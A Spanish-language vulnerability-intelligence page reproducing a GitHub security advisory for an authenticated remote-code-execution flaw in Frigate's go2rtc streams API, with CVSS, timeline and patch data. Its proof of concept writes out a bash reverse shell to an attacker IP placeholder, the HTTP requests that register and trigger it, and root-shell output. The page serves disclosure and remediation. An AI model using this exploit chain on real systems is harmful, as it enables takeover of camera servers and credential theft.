llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · frigate

GHSA-WWWW-5H25-JF98

El administrador autenticado puede lograr RCE mediante la API de streams de go2rtc: el filtro exec: no se aplica en la capa de API

Parche disponible
Descargar PNG JSON
CVSS 3.1
9.1
Crítica
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión>=0.17.2
Exposición146 dDesde la divulgación, 28 jun 2026, 7:16 a. m.
Detección143 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Que tu backlog no se convierta en tu incidente.Hoy no arde, pero ya hay humo.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
28 jun 26
18 nov 26
21 nov 26
28 jun 26
4 ago 26
9 sept 26
16 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-WWWW-5H25-JF98 divulgada · CVSS 9.1 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub
No hay indicios de que se haya evadido la autenticación integrada de Frigate. Esta vulnerabilidad solo es explotable por un administrador o por usuarios que hayan expuesto su instalación de Frigate a internet abierto sin autenticación, lo que permite a cualquiera obtener control administrativo total.

### Resumen
De forma similar a GHSA-4c97-5jmr-8f6x https://github.com/blakeblackshear/frigate/security/advisories/GHSA-4c97-5jmr-8f6x, el endpoint `PUT /api/go2rtc/streams/{name}` de Frigate reenvía el parámetro de consulta src directamente a la API interna de go2rtc sin aplicar la restricción exec: que existe en el flujo del archivo de configuración. Un administrador autenticado puede aprovechar esto para registrar un comando arbitrario del sistema como fuente de stream de go2rtc y, después, activar su ejecución mediante el endpoint `GET
/api/ffprobe/snapshot`, logrando ejecución remota de código como root dentro del contenedor en dos solicitudes HTTP.

### Detalles
En la corrección anterior, Frigate aplica un filtro del protocolo exec: en docker/main/rootfs/usr/local/go2rtc/create_config.py para evitar que se registren comandos arbitrarios como fuentes de stream de go2rtc durante el arranque:

  def is_restricted_source(stream_source: str) -> bool:
      return stream_source.strip().startswith(("echo:", "expr:", "exec:"))

  if not ALLOW_ARBITRARY_EXEC and is_restricted_source(formatted_stream):
      del go2rtc_config["streams"][name]
      continue

Este filtro solo se evalúa durante la conversión de config.yml → go2rtc.yaml que se ejecuta al iniciar. La función `go2rtc_add_stream()` en frigate/api/camera.py (~línea 121) expone una ruta de código independiente hacia el mismo registro de streams de go2rtc, pero nunca llama a `is_restricted_source()`:

  @router.put("/go2rtc/streams/{stream_name}", dependencies=[Depends(require_role(["admin"]))])
  def go2rtc_add_stream(request: Request, stream_name: str, src: str = ""):
      params = {"name": stream_name}
      if src:
          params["src"] = substitute_frigate_vars(src)  # no exec: check
      r = requests.put("http://127.0.0.1:1984/api/streams", params=params, timeout=10)

go2rtc difiere la ejecución de las fuentes exec: hasta que un consumidor se conecta al stream. La función ffprobe_snapshot() en frigate/api/camera.py (~línea 329) proporciona el disparador: pasa el parámetro url directamente a ffmpeg sin validación:

  @router.get("/ffprobe/snapshot", dependencies=[Depends(require_role(["admin"]))])
  def ffprobe_snapshot(request: Request, url: str = "", timeout: int = 10):
      image_data, error = run_ffmpeg_snapshot(config.ffmpeg, url, "mjpeg", timeout=timeout)

Al suministrar el endpoint HTTP interno de go2rtc (http://127.0.0.1:1984/api/stream.mp4?src=revshell) como parámetro url, ffmpeg se conecta a go2rtc como consumidor, lo que provoca que go2rtc inicie la fuente exec: registrada y ejecute la carga útil.

### PoC
Entorno: Frigate estable, desplegado mediante la imagen oficial de Docker con la configuración predeterminada.

#### Paso 1: obtener una sesión de administrador
Inicia sesión a través de la interfaz de usuario o de la API de Frigate y captura la cookie JWT frigate_token.

Paso 2: escribir la carga útil en el contenedor
  docker exec frigate bash -c 'printf "#!/bin/bash\nbash -i >& /dev/tcp/<ATTACKER_IP>/1881 0>&1\n" > /tmp/rev.sh && chmod +x /tmp/rev.sh'
Paso 3: registrar la fuente de stream exec:
  PUT /api/go2rtc/streams/revshell?src=exec:/tmp/rev.sh HTTP/1.1
  Host: <frigate_host>
  Cookie: frigate_token=<JWT>
  Content-Length: 0

Respuesta esperada:

  {"success": true, "message": "Stream added successfully"}
Paso 4: iniciar un listener en la máquina atacante
  nc -nvlp 1881
Paso 5: activar la ejecución
  GET /api/ffprobe/snapshot?url=http%3A%2F%2F127.0.0.1%3A1984%2Fapi%2Fstream.mp4%3Fsrc%3Drevshell&timeout=30 HTTP/1.1
  Host: <frigate_host>
  Cookie: frigate_token=<JWT>

Respuesta esperada (la captura del snapshot falla, pero la carga útil ya se ejecutó):

  {"success": false, "message": "Failed to capture snapshot"}

Resultado:

  Connection from 192.168.1.103:54305
  root@ea26f7f199b3:/# id
  uid=0(root) gid=0(root) groups=0(root)_

### Impacto
Esta es una vulnerabilidad de ejecución remota de código autenticada. Cualquier usuario con una sesión de administrador válida puede ejecutar comandos arbitrarios del sistema operativo como root dentro del contenedor de Frigate.

La configuración de despliegue recomendada por Frigate establece privileged: true y monta rutas del host, por lo que un escape del contenedor es un paso posterior realista. Una instancia comprometida otorga a un atacante acceso total a las grabaciones de las cámaras, a las credenciales almacenadas en la configuración y a los recursos de red accesibles desde el contenedor.

### Corrección sugerida
Aplicar la verificación existente is_restricted_source() dentro de go2rtc_add_stream() antes de reenviar el parámetro src a go2rtc:

  if src and is_restricted_source(src):
      raise HTTPException(status_code=400, detail="Restricted stream source type")

Esto cierra la brecha entre el flujo de configuración y la capa de API, garantizando que ambas rutas de código apliquen la misma restricción.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:H
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.3/ 10Alto
Vector 7.3 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
frigate≥ 0.13.0 < >=0.17.2
>=0.17.2
0.13.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
PyPIfrigate
Corregida >=0.17.2 — —
Versiones corregidas>=0.17.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/blakeblackshear/frigate/security/advisories/GHSA-wwww-5h25-jf98

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.